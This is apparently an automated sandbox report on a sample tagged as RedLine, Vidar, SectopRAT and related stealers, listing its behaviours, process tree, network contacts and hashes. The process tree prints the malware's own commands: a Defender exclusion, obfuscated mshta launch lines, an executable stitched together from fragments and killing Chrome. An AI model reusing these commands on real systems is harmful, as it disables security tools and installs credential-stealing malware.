Analysis Overview
SHA256
e60aa7cfc1e59d86051faaa21aee6a9ba4da6fe6f402da363b4acc0456c6dff7
Threat Level: Known bad
The file e60aa7cfc1e59d86051faaa21aee6a9ba4da6fe6f402da363b4acc0456c6dff7 was found to be: Known bad.
Malicious Activity Summary
Socelars
Vidar
RedLine payload
RedLine
Socelars family
OnlyLogger
PrivateLoader
Fabookie family
Detect Fabookie payload
Fabookie
Onlylogger family
GCleaner
NullMixer
Privateloader family
SectopRAT
Socelars payload
Gcleaner family
Nullmixer family
Sectoprat family
SectopRAT payload
Redline family
Vidar family
OnlyLogger payload
Vidar Stealer
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Checks computer location settings
ASPack v2.12-2.42
Loads dropped DLL
Reads user/profile data of web browsers
Executes dropped EXE
Looks up geolocation information via web service
Legitimate hosting services abused for malware hosting/C2
Looks up external IP address via web service
Drops Chrome extension
Checks installed software on the system
Suspicious use of SetThreadContext
Enumerates physical storage devices
Unsigned PE
Browser Information Discovery
Program crash
System Location Discovery: System Language Discovery
Kills process with taskkill
Suspicious behavior: GetForegroundWindowSpam
Modifies Internet Explorer settings
Enumerates system info in registry
Suspicious use of SendNotifyMessage
Checks SCSI registry key(s)
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Modifies data under HKEY_USERS
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-24 04:30
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-24 04:30
Reported
2024-11-24 04:33
Platform
win7-20241010-en
Max time kernel
150s
Max time network
155s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
PrivateLoader
Privateloader family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Vidar
Vidar family
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Vidar Stealer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Executes dropped EXE
Loads dropped DLL
Reads user/profile data of web browsers
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1300 set thread context of 952 | N/A | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00df41776583.exe | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00df41776583.exe |
| PID 2476 set thread context of 2624 | N/A | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon003b11682c.exe | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon003b11682c.exe |
Enumerates physical storage devices
Program crash
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\control.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon0052c87b01411369.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon001dcfc58b0850.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00ffeff6b2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon003b11682c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon003b11682c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\setup_install.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00df41776583.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon0086072e872c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-080J2.tmp\Mon001dcfc58b0850.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\e60aa7cfc1e59d86051faaa21aee6a9ba4da6fe6f402da363b4acc0456c6dff7.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00df41776583.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon001dcfc58b0850.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00f8ffa77fe72688.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00ea631982.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00ef1e53f6f539435.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00b1dca232.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00e469051c4c7a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00806cfb48.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-OON1G.tmp\Mon001dcfc58b0850.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-OON1G.tmp\Mon001dcfc58b0850.tmp | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00b1dca232.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\e60aa7cfc1e59d86051faaa21aee6a9ba4da6fe6f402da363b4acc0456c6dff7.exe
"C:\Users\Admin\AppData\Local\Temp\e60aa7cfc1e59d86051faaa21aee6a9ba4da6fe6f402da363b4acc0456c6dff7.exe"
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
C:\Users\Admin\AppData\Local\Temp\7zS48663088\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS48663088\setup_install.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon003b11682c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ef1e53f6f539435.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00e469051c4c7a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ffeff6b2.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00536518ad16.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00df41776583.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00d0d86f7f1e6.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00946c5090.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00f8ffa77fe72688.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00806cfb48.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00b1dca232.exe /mixone
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ea631982.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon001dcfc58b0850.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon0086072e872c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon0052c87b01411369.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00ffeff6b2.exe
Mon00ffeff6b2.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon0086072e872c.exe
Mon0086072e872c.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00ef1e53f6f539435.exe
Mon00ef1e53f6f539435.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00806cfb48.exe
Mon00806cfb48.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00946c5090.exe
Mon00946c5090.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00ea631982.exe
Mon00ea631982.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00df41776583.exe
Mon00df41776583.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon001dcfc58b0850.exe
Mon001dcfc58b0850.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon003b11682c.exe
Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00d0d86f7f1e6.exe
Mon00d0d86f7f1e6.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe
Mon00536518ad16.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00e469051c4c7a.exe
Mon00e469051c4c7a.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00f8ffa77fe72688.exe
Mon00f8ffa77fe72688.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon0052c87b01411369.exe
Mon0052c87b01411369.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00b1dca232.exe
Mon00b1dca232.exe /mixone
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 276
C:\Users\Admin\AppData\Local\Temp\is-080J2.tmp\Mon001dcfc58b0850.tmp
"C:\Users\Admin\AppData\Local\Temp\is-080J2.tmp\Mon001dcfc58b0850.tmp" /SL5="$90116,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon001dcfc58b0850.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2828 -s 480
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon001dcfc58b0850.exe
"C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon001dcfc58b0850.exe" /SILENT
C:\Users\Admin\AppData\Local\Temp\is-OON1G.tmp\Mon001dcfc58b0850.tmp
"C:\Users\Admin\AppData\Local\Temp\is-OON1G.tmp\Mon001dcfc58b0850.tmp" /SL5="$60176,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon001dcfc58b0850.exe" /SILENT
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00df41776583.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00df41776583.exe
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe") do taskkill /F -Im "%~NxU"
C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Mon00536518ad16.exe"
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Mon00536518ad16.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1760 -s 1376
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon003b11682c.exe
C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
Network
| Country | Destination | Domain | Proto |
| NL | 45.133.1.107:80 | tcp | |
| US | 8.8.8.8:53 | hsiens.xyz | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| NL | 45.133.1.107:80 | tcp | |
| US | 8.8.8.8:53 | www.listincode.com | udp |
| US | 8.8.8.8:53 | iplogger.org | udp |
| US | 172.67.74.161:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| US | 8.8.8.8:53 | ppp-gl.biz | udp |
| GB | 142.250.200.3:80 | c.pki.goog | tcp |
| US | 104.155.138.21:80 | ppp-gl.biz | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | mas.to | udp |
| US | 172.67.166.96:443 | mas.to | tcp |
| US | 8.8.8.8:53 | propanla.com | udp |
| N/A | 127.0.0.1:49301 | tcp | |
| N/A | 127.0.0.1:49303 | tcp | |
| US | 8.8.8.8:53 | topniemannpickshop.cc | udp |
| US | 8.8.8.8:53 | niemannbest.me | udp |
| US | 8.8.8.8:53 | www.iyiqian.com | udp |
| SG | 13.251.16.150:80 | www.iyiqian.com | tcp |
| US | 8.8.8.8:53 | all-mobile-pa1ments.com.mx | udp |
| US | 104.155.138.21:80 | ppp-gl.biz | tcp |
| US | 8.8.8.8:53 | buy-fantasy-football.com.sg | udp |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.3.235:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | wfsdragon.ru | udp |
| US | 172.67.133.215:80 | wfsdragon.ru | tcp |
| FR | 51.178.186.149:80 | tcp | |
| US | 104.20.3.235:443 | pastebin.com | tcp |
| US | 172.67.133.215:80 | wfsdragon.ru | tcp |
| FR | 51.178.186.149:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 172.67.74.161:443 | iplogger.org | tcp |
| US | 172.67.74.161:443 | iplogger.org | tcp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 107.178.223.183:80 | ppp-gl.biz | tcp |
| US | 104.155.138.21:80 | ppp-gl.biz | tcp |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| DE | 23.58.217.29:80 | www.microsoft.com | tcp |
| NL | 194.104.136.5:46013 | tcp | |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp |
Files
\Users\Admin\AppData\Local\Temp\setup_installer.exe
| MD5 | 2054a395da9f7a789bef703c5d2d60c1 |
| SHA1 | f170cbc93d4fb3f4f92ccd88039272bf78bdfa89 |
| SHA256 | 1e083736aeca35b40f45693442d37466fa7b61ab36b2cebc2a49cb8c8492a433 |
| SHA512 | 1439382b36a24d898fc769a742b05c2c9ad898a6e5750e0f7e813fd5d536834e44572061efb0c89af72c5a97c3502e9ee30c2c861154f0fbb4c4164e3880ffcf |
\Users\Admin\AppData\Local\Temp\7zS48663088\setup_install.exe
| MD5 | ca649f3a6e34a11e861537b17b01e260 |
| SHA1 | b7e133dcc4661efd2ede4d078292f900473c9d3c |
